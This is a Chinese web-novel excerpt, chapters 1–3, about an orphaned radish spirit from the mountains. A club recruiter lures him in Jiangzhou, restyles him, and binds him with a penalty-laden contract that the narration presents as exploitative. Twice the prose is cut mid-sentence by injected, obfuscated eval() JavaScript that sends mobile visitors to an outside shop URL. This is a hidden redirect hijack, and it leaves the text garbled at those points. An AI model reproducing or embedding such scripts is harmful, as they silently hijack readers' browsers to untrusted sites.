《山里捞子吃上城里货》 1. 进城打工 迟萝禧身上背着,手里提着,胳膊上还挂着大包小包,鼓鼓囊囊。 从雾山到江州,没有直达的车,他转了三次大巴,挤了两趟绿皮火车,路上足足折腾了三天。 三天里,困极了也不敢睡得太死,怕错过站,也怕丢了东西。 前半段路,车上还有些同样从山里出来,去往不同地方打工的老乡,虽然不认识,但听着熟悉的乡音,心里多少踏实点。 后半段就彻底是陌生人了,他操着一口带着浓重山里口音不太利索的普通话,一路磕磕巴巴地问过来,才没坐错车,没下错站。 迟萝禧是从雾山下来的。 那座山很高,很陡,常年云雾缭绕,村子零零散散地挂在山腰上,像是随时会被风吹走的鸟窝。 半年前他爷爷过世了。 爷爷是他在世上唯一的亲人,一手把他拉扯大。爷爷一走,他在山里,就真的成了孤零零一个人。 山里唯一的那所高中,也因为生源太少,条件太差,实在办不下去了,去年就关了门。迟萝禧刚读到高一,学就上不成了。 他年纪不大,力气是有,但在那巴掌大贫瘠的山坳地里,种点土豆玉米,一年到头也刨不出几个钱。 村里那些看着他长大的叔伯婶子们,聚在一起商量了半天,最后拍板:去城里打工吧,小禧。 城里机会多,只要肯卖力气,总比窝在这山沟沟里,守着几亩薄田,一眼望到头强。 邻居春大婶心肠最热,她儿子春生,几年前就去江州打工了,听说是在工地上干活,虽然辛苦,但一天能挣好几百呢。 春大婶就打电话给儿子,千叮咛万嘱咐,让他一定给迟萝禧寻摸个活干,能管吃管住最好,工钱少点也没关系,先把人安顿下来。 迟萝禧在电话这头,对着座机听筒,声很认真地说:“春生哥,我力气大,什么活儿都能干,我不怕吃苦。” 他是真的想好了。 等挣到钱,第一件事就是回山里把爷爷留下来的那几间老房子好好修缮一下。 屋顶漏雨的地方要补,被白蚁蛀了的房梁要换,墙皮剥落了要重新糊上。 那是爷爷和他生活了十几年的地方,是家。 哪怕他以后在城里安了家,山里这个根,也不能烂掉,更不能丢。 临走前,春大婶帮他收拾行李。 其实也没什么好收拾的,就几件旧衣服,其中两条裤子还是学校发的蓝白校服裤,迟萝禧很爱惜,叠得整整齐齐。 春大婶又塞给他一个鼓囊囊的蛇皮袋,里面是她自己做的腊肉,熏鱼,还有一些山里的干货,让迟萝禧带给春生,到时候两个人分一分。 塞东西的时候,春大婶看着眼前这个瘦高,眼神还有点怯生生的少年,忍不住叹了口气,摸了摸他的头:“唉,你这孩子,命也是苦,你爷爷要是能再撑几年,等你再大点,说不定就能给你在县里找个出路,也不至于让你一个人跑这么远……” 话说到这里,她自己也停了,摇摇头。 生死有命,富贵在天,哪是人自己能够做得了主的呢? 提起爷爷,迟萝禧脸上瞬间就蒙上了一层肉眼可见的低落和难过。 他低下头,看着自己脚上那双洗得发灰的帆布鞋。 其实他知道,爷爷已经为他坚持了很久了。 爷爷的身体早就不行了,却一直硬撑着,爷爷去的那晚他握着爷爷的手说:“爷爷,你安心去吧。我会好好长大,好好活着,不给你丢人。” 爷爷浑浊的眼睛,看着他,看了很久,然后轻微地点了点头,嘴角似乎想往上扯一下,最终只是呼出了最后一口气,很轻,很轻。 然后就再也没了动静。 爷爷才去了,走得安详,也带着无尽的不放心。 迟萝禧年纪小,按照人类的年纪刚成年,爷爷的丧事,是村里人出力帮着办的。 吹吹打打,把老爷子送上了山,葬在了能看到家门的山坡上。 那几天,迟萝禧像是被抽掉了魂,不说话,不哭,只是默默地跪在灵堂前。直到出殡那天,看着黄土一点点掩上那口薄棺,他才像是猛然回过神,眼泪决堤一样涌出来,哭得撕心裂肺,最后被春大婶硬拉了回去。 “前方到站,江州站,请下车的旅客提前做好准备,携带好随身物品……” 车厢里响起报站声,将迟萝禧猛地抬起头,看向车窗外,隐约可见钢筋高楼,和他生活了十几年只有青山绿水和袅袅炊烟的山里,是完全不同的两个世界。 他开始整理身边那些大包小包,准备下车。就在这时,他放在上衣内袋里的手机响了。 铃声是那种最大音量带着电流杂音的月亮之上,瞬间响彻了相对安静的车厢。旁边几个昏昏欲睡的旅客被惊醒,皱着眉头,不满地看了过来。 迟萝禧的脸一下子涨得通红,手忙脚乱地去掏手机。 那是爷爷留下的一个老掉牙的直板机,黑色边角都磨白了,屏幕很小,但声音奇大,电池也耐用。他之前在路上接电话,就被人瞪过好几眼。 迟萝禧连忙按下了接听键,把手机紧紧贴在耳朵上,压低了声音,生怕再吵到别人。 “喂?” 电话那头传来一个陌生的,带着点口音的男声,语气有点急,“是迟萝禧不?春生让我来接你的!我到出站口了,穿一件蓝色的夹克衫,你待会跟我走哈。” 迟萝禧赶紧说:“好,好,大哥,蓝衣服,我记住了,我快要下车了。” 是春生哥没空,拜托了他一个在江州的哥们过来接他,迟萝禧心里稍微踏实了点,至少下了车不是完全抓瞎。 等车终于缓缓停稳,车门打开,人潮瞬间涌动起来。 迟萝禧深吸一口气,像是要上战场一样,把那个最重,装着被褥和衣服的蛇皮袋甩到背上,用一根麻绳在胸前打了个结固定好。 左手提着装土特产和杂物的布袋子,右手拎着一个塑料桶,他像一头被货物淹没的小骆驼,踉踉跄跄地随着人流,被裹挟着往车下挤。 他这副全副武装,与周围那些拖着轻巧拉杆箱,穿着时髦的旅客格格不入的打扮,一路上不知道引来了多少侧目。 出站口是个人流最密集的地方,摩肩接踵,水泄不通。迟萝禧被人从后面推了一下,又被旁边急着赶路的人撞到了肩膀,他哎哟一声,勉强稳住身形,手里的塑料桶差点脱手。 就在这混乱的推搡和拥挤中,他忽然觉得胸前似乎被什么东西轻轻刮了一下。他没太在意,只是下意识地腾出一只手,想去摸一下内袋,确认手机还在不在。 空的。 手机……掉了。 迟萝禧想转身,逆着汹涌的人流,再挤回去找找,可他身上那些沉重累赘的行李,让他根本没办法灵活地转身或停留。 人潮像一股洪流,裹挟着他,推搡着他,迟萝禧身不由己地踉踉跄跄地就被冲出了闸机口,彻底来到了开阔,但更加嘈杂混乱的火车站广场上。 他像一片无根的浮萍,被抛在了这个完全陌生的岸边,茫然四顾,脑海里只剩下最后信息。 ——蓝衣服。 接他的人,穿着蓝色的衣服。 蓝色衣服。 何佑穿着件熨烫得还算平整的宝蓝色涤纶夹克衫,正烦躁地靠在出站口附近一根贴满小广告的柱子上,嘴里叼着根没点着的烟,觉得今天真是倒霉透了。 前几天一个平时有点交情的中间人神秘兮兮地联系他,说是有个小年轻,刚从外地来,嫩,还没开过眼,问他有没有兴趣。 他们那会所,在江州也算有点名气,走的是高档,私密路线,招待的客人非富即贵,对人的要求自然也高。 何佑一听,觉得有戏,跟经理拍着胸脯保证了,还特意推了别的事,亲自跑来接人,以示重视。 结果呢?他在出站口干等了快一个小时,电话打了无数个,对方先是关机,后来直接成了空号。 他被放鸽子了!耍了! 何佑越想越气,觉得脸上无光,心头火起。 他们那儿虽然不是那种下三滥,逼良为娼的脏地方,但也绝不是随便什么阿猫阿狗都能进的。 这么耍人玩,真当他何佑是吃素的? 他狠狠啐了一口,掏出手机,准备好好把那个不靠谱的中间人骂个狗血淋头,顺便问问经理,今天这空窗的损失,该怎么算。 结果他刚解锁屏幕,脏话还在舌尖打转,还没来得及拨出去,一个人影就突然凑到了他跟前。 “大哥,” 来人声音有点喘,带着浓重的外地口音,“我刚手机落了,所以没给你打电话……你,你是春生哥让来的吧?” 何佑被这突如其来的近距离接触吓了一跳,心想屁个大哥,谁是你大哥,下意识就皱起了眉头,抬起头视线撞上了一张脸。 然后何佑嘴里那半截没骂出来的脏话,就生生卡在了喉咙里,不上不下,噎得他有点难受。 眼前这小子,是真……土。 浑身上下,从头发丝到脚后跟,就没一个地方不透着刚从山沟沟里爬出来的土气。 头发毫无造型可言,大概最便宜的那种理发店推的,鬓角都推得不齐。 身上穿着件洗得发白,领口都磨毛了的旧T恤,外面套着件同样褪色严重的夹克,下身是那条带着两道白杠的蓝白校服裤,裤腿短了一截,露出同样洗得发灰的袜子,脚上是双帆布鞋。 迟萝禧背上背着鼓囊囊的蛇皮袋,手里提着破布袋子烂塑料桶,整个人像是刚从某个上世纪八十年代的纪录片里走出来的群众演员,和周围光鲜亮丽,行色匆匆的现代都市人格格不入。 可是…… 这脸也真……好看。 年轻细腻紧致,透着一种蓬勃的生命力。 五官也生得极好,眼睛又大又亮,瞳孔是纯然毫无杂质的深褐色,像两汪干净透亮的清潭,此刻因为紧张和茫然,微微睁大,睫毛很长。 鼻梁挺直,嘴唇带着点水润的淡红色,下颌线条流畅清晰,毫无修饰,未经雕琢,惊人的好看。 何佑在江州这地界混了这么多年,自诩见过不少美人,男的女的,各种风格,但像眼前这张脸这样,能把清纯和绝色如此诡异又和谐地糅合在一起的,还真找不出几个。 何佑看着这张脸,愣了好几秒,脑子里的算盘,在最初的惊艳之后,开始噼里啪啦地打了起来。 他上下打量着迟萝禧,语气缓了下来:“……你干啥的?” 迟萝禧语气更认真了:“大哥,我来打工的,春生哥,就是春大婶的儿子,他没跟你说吗?让我来江州,找个活儿干。” 何佑脑筋一转,觉得柳暗花明又一村了。 跑了个次品没用的怂包,结果老天爷直接给他送了个极品的过来? 这运气! 反正今天经理交待的任务就是接人,至于接的是谁,只要条件够好,谁在乎他原来该接的是阿猫还是阿狗? 眼前这个可比中间人吹得天花乱坠的那个,不知道强了多少倍。 这脸,这身段,虽然被土气的衣服遮着,但骨架在那里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388056|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这懵懂怯生生的眼神。 “哦,春生啊,” 何佑立刻换上了一副恍然大悟的表情,语气也热情熟络了不少,“说了说了,对对对,就是他让我来接你的,走吧跟我走,先安顿下来。” 迟萝禧一听,心里那块大石头终于落了地,脸上露出一个带着点腼腆的笑容,像是终于找到了组织。 但他又想起手机的事,笑容收了收:“大哥,我手机刚才在车站挤丢了,我能先找一下吗?说不定就在附近。” 何佑一听,觉得麻烦:“什么手机?” 迟萝禧指着一个路过的大爷手里的老年机,说就那种。 一个破老年机,丢了就丢了,值几个钱? 何佑挥挥手,有些不耐烦:“找什么找,这么多人,早不知道被谁捡走了,再买一个不就完了吗?走吧走吧,别耽搁了,先回去再说。” 迟萝禧被他这么一说,想想也是,火车站这么多人,找回来的希望太渺茫了,只是那里面还有老家人的电话号码呢? 但是初来乍到新环境,他有点怯,又怕给人带来麻烦,只好不再坚持,只是又看了一眼身后汹涌的人潮,那是爷爷留下的手机。 迟萝禧就这样迷迷糊糊地背着沉重的行李,跟着这个刚刚认识穿着蓝衣服的大哥,离开了火车站,上了一辆停在路边,看起来半新不旧,但比山里的拖拉机不知道高级多少倍的小轿车。 车子在繁华的街道上穿行,迟萝禧的脸快贴在了车窗玻璃上,好奇又拘谨地看着外面飞逝而过的高楼大厦,琳琅满目的店铺,川流不息的车流。 老实巴交的山里孩子迟萝禧,在何佑看似随意,实则句句带着套路的闲聊中,几乎没费什么劲,就把自己的底细交代了个一清二楚。 家里没人了,爷爷刚过世,山里高中办不下去了,高中学历,出来打工,想挣了钱回去修房子……他说得很简单,很朴实。 何佑一边开车,一边听着,心里那本账算得越来越细,也越来越满意。 没背景,没依靠,没见过世面,好拿捏。 车子七拐八绕,最后停在了一栋看起来有些年头,但还算整洁的公寓楼前。 何佑停好车,带着迟萝禧上楼。 到了地方,他掏出钥匙开门,迟萝禧跟着进去,才发现这地方和他想象工地上的工棚或者集体宿舍完全不一样。 是个小小的公寓,好几个房间,何佑带他进了间房,有独立的卫生间,有张看起来挺舒服的床,还有个小书桌和衣柜。 装修简单,但很干净,比他山里的家不知道好了多少倍。 甚至进门还是刷脸的电子锁,高级得让迟萝禧有些手足无措。 何佑看着他傻愣愣站在门口的样子,笑了笑,拍拍他的肩膀:“别傻站着了,先把东西放下,收拾收拾,以后你就先住这儿,对了,我姓何,明天我让经理跟你来签合同。” 迟萝禧这才回过神,连忙道谢叫了声何大哥,然后开始卸下身上那些沉重的行李。 他把蛇皮袋小心地放在墙角,把布包和塑料桶放在地上,然后很珍重地掏出一个东西。 那是一个普通灰扑扑的有些掉漆的陶土花盆。 不大,也就比成年人的手掌大一圈。 花盆里,没有种花,而是装着大半盆深褐色的泥土。 何佑本来靠在门框上抽烟,看着他收拾,看到这个花盆,愣了一下,觉得有点滑稽:“我说兄弟,你千里迢迢从山里来,还带个花盆?里面还装着土?你这是准备在城里种地还是怎么着?” 这能过安检的吗? 迟萝禧把花盆放在窗台上那个光线最好的位置,闻言转过头,很认真地解释道:“这不是普通土,这是我们山里的土,我想家了就看看它。看看它,就好像还在家里一样。” 他说着,还用手指,轻轻拨弄了一下花盆里干硬的土块。 何佑:“…………” 他看着迟萝禧那副无比认真,甚至带着点神圣感的模样,又看看那个装着土其貌不扬的花盆,心里第一次冒出了一个有点荒谬的念头? 他该不会……一时看走了眼,拉了个脑子不太正常的精神病回来吧?城里那些有钱有势的客人,口味是刁,可也没听说谁好这口乡愁泥土的傻子啊。 何佑当然不知道,迟萝禧其实是个白萝卜精。 有一天突然就化成人形,跟就着爷爷在山里过着简单清净的日子。 迟萝禧其实不太喜欢一直维持人形,尤其是睡觉的时候,总感觉拘束不自在,他喜欢变成萝卜栽在土里。 爷爷告诉他,既然选择了在人间生活,就要学着习惯做人,习惯人的样子,人的作息,人的情感。 所以他才努力上学,努力像个人类少年一样生活。这次出来打工,除了想挣钱,也是爷爷临终前嘱咐他,要多看看外面的世界,真正地入世历练。 而那个花盆里的土,是迟萝禧本体生长的那片山林蕴含着微弱灵气的本命土。 对于他这种草木精怪来说,想家了,或是感到疲惫的时候,变回原形,把自己埋进熟悉带着家乡气息的土里,是最舒服,最能恢复元气的状态。 比任何人类的床铺都要安心惬意。 只是这个秘密,爷爷交代过绝对不能对任何人说。 何佑自然不会知道这些。他只是觉得眼前这个漂亮得过分,也土得掉渣的少年,行为举止透着一股说不出的怪异。 但转念一想,管他呢,先安顿下来再说。 只要这张脸在,他管他是喜欢看土还是喜欢看星星。 2. 百变萝卜 何佑打开相机,对着正迟萝禧,连续地按了几下快门。 “咔嚓”,“咔嚓”。 照片里的少年穿着土气的旧衣,背景是出租屋,但那张脸,干净,纯然。 何佑满意地挑了挑眉,手指飞快地在屏幕上操作,将这几张生图直接发给了会所的经理,附上一句话:“山里来的,脸绝了。” 做完这些,他把手机塞回口袋,脸上重新挂上那副热情大哥的笑容。 迟萝禧正好收拾完,转过身,有些局促地站在房间中央:“佑哥我什么时候能见到春生哥啊?” 何佑心里暗笑,春生? 听说这人在工地搬砖呢,估计也不会找来这种地方,但他面上不显,走过去,拍了拍迟萝禧的肩膀,语气温和地安抚:“快了快了,春生这两天在赶个急活儿,忙完了肯定来看你,你就安心在这儿先住下,熟悉熟悉环境,今晚就在这睡吧,缺什么就跟我说。” 迟萝禧点了点头,没再多问。 他对何佑有种本能的信任,毕竟是他下了火车,茫然无措时,唯一一个朝他伸出援手,还把他带到这么干净体面住处的人。 就在这时公寓的门锁“咔哒”一声轻响,被人从外面用钥匙打开了。 一个年轻男人,裹着一身浓烈廉价香水,烟草和酒气的味道,趿拉着拖鞋,晃晃悠悠地走了进来。 他看起来也就二十出头,穿着一件亮闪闪缀满银色亮片的紧身上衣,下身是条破洞牛仔裤,腰掐得特别细,几乎不盈一握,脸上化了妆,头发用发胶抓得很有型,但此刻有些凌乱。 他一进门,看到何佑,叫了一声:“佑哥。” 他的目光,才落到迟萝禧身上,上下打量了一圈,从那身土掉渣的衣服,到脚上那双帆布鞋,再到迟萝禧那张过于干净漂亮的脸。 “哟,佑哥,这……是你从哪个考古现场挖出来的出土文物啊?这打扮,够复古的啊。” 何佑被他这话说得脸色有点不好看,瞪了他一眼,打断道:“别瞎说,这是新来的,叫……” 他卡了一下壳,刚才只顾着看脸和拍照,好像忘了问全名? 何佑转向迟萝禧,“对了,小兄弟,你叫什么来着?” 迟萝禧:“迟萝禧,我叫迟萝禧。” 亮片男人往前走了两步,凑近了些,身上那股混杂的香气更加浓郁,他对着迟萝禧伸出手,手指上还戴着几个夸张的金属戒指,自我介绍道:“迟萝禧?名字挺特别,我叫白曼,不过在这里,大家都叫我Mana,以后就是室友了,请多关照咯。” 迟萝禧迟疑了一下,伸出手,跟对方碰了一下:“你好。” 白曼似乎对他这种青涩感到有趣,咯咯笑了两声,没再多说什么,扭着腰,走进了里面的小卧室,“砰”地一声关上了门。 晚上迟萝禧躺在何佑给他安排的小床上,翻来覆去怎么也睡不着。 公寓的隔音并不好,能隐约听见隔壁房间传来隐约的音乐声。 他想家了。 想爷爷,想山里的风,想夜晚清晰的虫鸣,想泥土和青草的味道。 最后他实在躺不住了,轻手轻脚地爬起来,光着脚走到窗台边。 月光透过没拉严的窗帘缝隙,落在那盆装着山里土的花盆上,给灰扑扑的陶土镀上了一层朦胧的银辉。 迟萝禧看着那盆土,他犹豫了一下,回头看了看紧闭的卧室门,又听了听外面的动静,然后闭上眼睛,身体微微晃动了一下。 下一秒,房间里的少年不见了。 多的是那盆原本装着土灰扑扑的花盆里,多出了一株植物。 不是花,不是草,而是一株通体洁白,水灵灵,胖乎乎的白萝卜。 萝卜缨子是翠绿色的,鲜嫩欲滴,在月光下微微摇晃。 萝卜的身体埋在土里,只露出顶端一小截和缨子,舒服地舒展着身体,终于回到了最安心,最舒适的巢穴。 迟萝禧在心里说:爷爷,就一晚,就变回原形,在土里睡一晚。这里太陌生了,我有点害怕。明天,明天我一定乖乖做人形。 白萝卜精迟萝禧,就在盆里沉沉睡去,缨子一起一伏。 第二天,天刚蒙蒙亮,迟萝禧就醒了。 他小心翼翼地感知了一下周围,确认安全,才迅速变回人形,手忙脚乱地穿好衣服,把那盆土重新放回窗台,还仔细地拍了拍土,弄平表面。 他刚收拾妥当,房门就被敲响了。 何佑来了,而且不是一个人,他身边还跟着一个穿着西装,看起来颇为精干的中年女子,手里拿着一个文件袋。 是经理,她姓杨。 杨经理一进门,目光就像探照灯一样,上下下,仔仔细细地打量了迟萝禧好几遍,尤其是在他脸上停留了很长时间。 “小迟是吧?” 经理脸上堆起职业化和蔼可亲的笑容,走过来,主动伸出手,“我姓杨,你以后叫我杨姐,何佑都跟我说了,你是春生介绍来的,想找个工作是吧?” 迟萝禧有些拘谨地点了点头,跟他握了握手。 “坐,坐,别站着。”杨经理示意他坐下,自己也拉过一把椅子,坐在他对面,打开文件袋,从里面抽出几份打印好的文件。 “我们这会所呢,是正规经营,在江州也算有点名气,对员工呢也绝对正规,签的都是正规的劳务合同,受法律保护的。” 她把一份合同推到迟萝禧面前,手指点着上面的条款,语速不快,带着一种让人容易相信的诚恳:“你看,基础工资,一个月八千,包吃包住,就住这儿,条件你也看到了,不错吧?而且这八千是底薪,只要你肯干,会来事,酒水提成,客人小费,那都是额外的,上不封顶,一个月拿个几万,甚至十几万,都不是梦。” 杨经理也是怕夜长梦多,万一被别的场子挖走了,或是自己醒过味儿来跑了,那就亏大了,所以一大早就亲自过来,要把合同签了,把人定下来。 他们这种会所,签的当然是正规的劳务合同,基础工资加提成,合法合规。 至于员工具体上进到什么程度,有什么个人发展。那就是员工自己的选择和本事了,会所管不到,也不强迫。 但一旦签了合同,想要离职? 那可不是说走就走的。 合同里各种苛刻的违约金条款,培训费,服装费,住宿费,资源占用费…… 林林总总加起来,足够把一个刚进城毫无背景的乡下少年牢牢套死。 他们赚的很多时候就是这份违约金,不然光靠那点正规生意,哪来那么高的利润? 迟萝禧哪里懂得外面就业市场的险恶和这些弯弯绕绕。他只听进去了一个月底薪八千,包吃包住,上不封顶。 八千! 在山里,一家人辛苦一年,也未必能攒下这么多钱。 这对他来说,简直是天上掉下来的大馅饼,砸得他晕乎乎的。 他看着那份密密麻麻,条款复杂的合同,大部分字他都认识,但连在一起的意思,他其实看不太懂。 迟萝禧抬头,看看旁边一脸鼓励笑容的何佑,又看看对面一脸我为你着想的经理:“我签。” 经理脸上笑容更深,立刻把笔递了过去。 迟萝禧接过笔,签下了自己的名字,迟萝禧。字迹有些稚嫩,但很工整。 何佑和经理对视一眼,都从对方眼里看到了满意的神色。 成了。 签完合同,经理又嘱咐了几句,留下何佑,自己先走了。 何佑收起合同,拍了拍迟萝禧的肩膀,语气是前所未有的热情和自己人的亲昵:“行了,小迟,以后就是自家兄弟了!走,哥先带你去置办身行头!就你这身打扮,可不行,咱们这儿是高档地方,形象第一!” 迟萝禧还没从月薪八千的冲击中完全回过神,就被何佑连拉带拽地,推出了门。 他迷迷糊糊地跟着何佑,上了一辆车,七拐八绕,最后停在了一家看起来就装修得很高档,灯光璀璨,橱窗里模特穿着时髦的理发店兼造型工作室门口。 何佑带着他走进去,对迎上来穿着时尚,头发染成各种颜色的发型师和造型师交代了几句。 然后迟萝禧就像个提线木偶一样,被按在了椅子上。 洗头,剪发,染发,烫发,修眉,敷面膜,做皮肤护理…… 一系列他听都没听过,更没经历过的流程,轮番上阵。 他像个误入异世界的土包子,茫然地任由那些带着香喷喷味道的手,在自己头上,脸上摆弄。 他看着镜子里,自己那头原本毫无特色的短寸,被修剪出层次,染成了时下流行的亚麻灰色,还烫出了微微的纹理。 脸上被打理得光滑细腻,眉毛被修得整齐有形,甚至还给他修了指甲,涂了一层透明的护甲油。 整个过程迟萝禧都处于一种懵懂的状态。 他看着镜子里那个逐渐变得陌生,时尚,甚至……有些漂亮得过分的自己,心里涌起一种强烈的不真实感。 这……这还是他吗? 何佑则抱着手臂,站在旁边,看着镜子里的作品,满意地点点头:“看到了吧?这就是我们这儿的入职培训,以后你就得是这幅样子,记住了,你现在不是山里的迟萝禧了,在这里,你得有个新名字,新形象,新活法。” 迟萝禧看着镜子里那个陌生亚麻灰头发,皮肤白皙,眉眼精致的帅哥,觉得挺好的。 原来这就是城里人。 迟萝禧笑着说:“谢谢佑哥。” 何佑知道迟萝禧没手机,于是乎带他去买了款智能手机,塞到了迟萝禧手里。 迟萝禧接过翻来覆去地看,不好意思:“佑哥,你给我买了这么多东西,剪头发,做脸,还有这手机花了很多钱吧?我以后一定还你。” 何佑拍了拍他的肩膀,语气豪爽:“嗐,这点钱算什么!哥看好你,这是投资,你放心,就凭你现在这副模样,好好干,第一个月,哥保准你能签下大单,拿到提成!到时候,这点钱还不是轻轻松松就还上了。” 何佑当然没告诉迟萝禧这些都是得从他工资里扣的。 迟萝禧听了,心里更是感动。 他觉得何佑,对他实在是太好了。不仅给他这么好的工作,这么高的工资。 他们这么重用自己,自己一定要好好干,不能辜负他们的期望。 拿到手机的第一天,迟萝禧像个得到新玩具的孩子。他是山里人,没见过什么世面,但绝不是蠢人。 何佑简单教了他怎么开机,解锁,拨打电话,发短信之后,他就抱着手机,手指在光滑的屏幕上好奇地戳戳点点,慢慢地琢磨。 他很快就发现了智能手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388057|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机的乐趣所在,那么多花花绿绿的图标,点开一个,里面就有看不完的东西。 新闻,视频,小游戏,各种他听都没听过的软件,这个世界,仿佛一下子通过这块小小的屏幕,在他面前无限展开。 何佑还给他注册了一个微信号,昵称随手打成了小萝,然后把他拉进了一个名为“春晖会所精英群”的微信群。 群里一下子热闹起来,消息提示音“叮咚叮咚”响个不停。 “欢迎新人!” “欢迎加入我们温暖的大家庭!” 一连串的撒花,鼓掌,爱心表情包刷了屏,各种热情洋溢,甚至带着点暧昧调侃的欢迎语跳出来。 迟萝禧看着屏幕上那些飞快滚动的,他不太看得懂的字符和图片,有点懵,手指悬在屏幕上,不知道该怎么回。 他笨拙地切换到输入法,用的是他唯一熟悉的从老年机上延续下来的九宫格拼音,打出了两个字。 “谢谢。” 打完,又觉得太简短,不够礼貌,想了想,又加了一句:“大家好,我是迟萝禧。” 消息发出去,很快被新的欢迎表情淹没。 有人@他,让他改群名片,换头像。 何佑凑过来看了一眼,说:“对,头像得换,等会儿让白曼,哦,就是Mana,让他给你拍几张好看的照片,你挑一张当头像,精神点,帅点,知道不?” 迟萝禧点点头:“佑哥,这个手机能看电视吗?” 何佑被他这个问题问得愣了一下,觉得这山里孩子真是可怜得让人心酸,连智能手机能看电视都不知道。 “能,当然能,想看什么看什么。小禧啊,加油干。哥跟你说,就凭你这张脸,你这辈子,完全可以靠它,彻底改变命运,从山里出去,在这大城市,扎下根,过上好日子。电视算什么?以后你想要什么,都能有。” 手机实在是太好玩了。 这天晚上,迟萝禧几乎没怎么睡。 第二天,按照何佑的嘱咐,迟萝禧要去公司报道。 他换上了何佑昨天一起给他的工作服,一套剪裁合体,面料挺括的黑色小西服,里面是件纯白的衬衫,没打领带,领口松开了最上面那颗扣子。西服是收腰的设计,把他本就纤细的腰身掐得更加明显,腿也被同色的西裤包裹得笔直修长。 配上他那头新染的亚麻灰短发,和被打理得光滑白皙的脸蛋,这哪还是那个背着蛇皮袋,穿着校服裤的山里娃? 分明是个从时尚杂志里走出来带着点冷感的漂亮少年。 只是那双因为熬夜而显得有些红肿的眼睛,和脸上掩饰不住的疲惫困倦,添了点懵懂迷糊的稚气。 白曼今天也起了个早,主动提出带他去公司。他今天换了身行头,依旧是闪亮亮的风格,但比昨天那身稍微正常点。 他上下打量着焕然一新的迟萝禧,吹了声口哨:“啧,人靠衣装马靠鞍,小迟弟弟这么一打扮,简直了!走吧,哥带你去见识见识。” 他们下午才上班。 到了地方,那是一家藏在繁华街区背后,门脸不大但装修极为奢华低调的会所,门口连个招牌都没有,只有两个穿着黑色西装,身材魁梧的保安。 白曼熟门熟路地跟保安打了招呼,带着迟萝禧走了进去。 里面灯光是暖昧的暗色调,空气里弥漫着高级香薰,酒气和一种说不清甜腻的味道。 走廊铺着厚厚的地毯,踩上去悄无声息。 经理杨经理已经在办公室里等着了,他看到被白曼带进来的迟萝禧。 “小迟来啦?坐,今天就让你熟悉熟悉,明天就正式上岗了。” 杨经理指了指对面的沙发,语气温和。 迟萝禧有些拘谨地坐下。 杨经理看着迟萝禧,脸上带着和煦的笑容,像是随口寒暄:“怎么样?还习惯吗?昨晚睡得好吗?” 迟萝禧老实地点点头,又摇摇头:“还行,就是……昨晚没怎么睡好。” 杨经理看着他脸上掩饰不住的困意:“哦?没睡好?是认床,还是想家了?” 迟萝禧不好意思地回答:“……看了一晚上电视。” 杨经理愣了一下:“看电视?什么电视这么好看。” 迟萝禧认真道:“……葫芦娃,我以前还不知道估计还有一部新的葫芦小金刚。” 杨经理:“……啊?” 迟萝禧最爱看《葫芦娃》了,他们家没电视,以前在村里,都是去春大婶家看的。 他看到葫芦兄弟各显神通,齐心协力斗妖精,为了救爷爷奋不顾身,尤其是看到最后七个葫芦娃化作七色山峰,镇压了妖精,救出了爷爷,他自己也忍不住红了眼眶。 同样是植物成精,葫芦是植物,他白萝卜也是植物,看看人家葫芦兄弟,本事多大 喷火,喷水,铜头铁臂,隐身,千里眼顺风耳……个个神通广大,能救爷爷,能打坏人。 而他呢?除了能变成萝卜埋在土里睡觉,好像没什么别的本事。 哦,对了,他力气好像比普通人大一点?但这跟葫芦娃比起来,简直不值一提。 最重要的是葫芦娃们也最爱他们的爷爷。为了爷爷,他们可以不顾一切。这一点,让迟萝禧看得心里又酸又暖,找到了心心相印的共鸣。 他们植物成精都是如此仗义的。 3. 嘴毒男人 杨经理最开始只觉得迟萝禧是刚从山里出来,没见过什么世面,行为举止透着点笨拙不合时宜的质朴,异于常人的傻气,但也没太往心里去。 这行里什么样的怪人她没见过? 只要脸能看,能赚钱,别的都不是大问题。 她给迟萝禧讲了最基础的注意事项,无非是介绍酒水单上那些令人眼花缭乱的名字和后面跟着的价格,教他怎么开单子。 迟萝禧听得非常认真,但是听得云里雾里,脑子里一团浆糊,于是乎他不知道哪儿来的废纸,开始埋记笔记。 字迹工工整整,一笔一划,像个小学生。 杨经理见他这副模样,拍了拍手,对旁边几个正懒散地靠着墙补妆,或玩手机的少爷们提高了声音:“看到没有?都跟人家小迟学学!什么叫态度?这就叫态度!刚来什么都不会,但人家肯学肯记!哪像你们,混了几年了,连个单子都开不利索,还要来找我。” 白曼正对着小镜子补粉,从镜子里斜了迟萝禧一眼,嘴角撇了撇,没说话。 等杨经理走了,他才慢悠悠地晃到迟萝禧身边,嗤笑一声:“哟,这么用功啊?小迟同学。咱们这儿是伺候人喝酒的地方,不是考状元,你记这些玩意儿干嘛?能把客人哄高兴了,把钱掏出来不就行了吗?” 迟萝禧苦着脸:“我记不住,那么多名字,我怕搞错了。” 白曼被他这话噎了一下,随即心里升一股危机感。 工作里不怕你笨,不怕你傻,就怕这种看起来傻,但态度端正得吓人,还一副要笨鸟先飞架势的。 哪个岗位上突然冒出这么个卷王同事,都难免让人觉得无语。 于是乎白曼对迟萝禧的新奇感和最初那点微不足道的热络,迅速冷却了下来。 他不再主动找迟萝禧说话,偶尔碰面,干脆当做没看见。 迟萝禧倒没太在意白曼的态度变化。 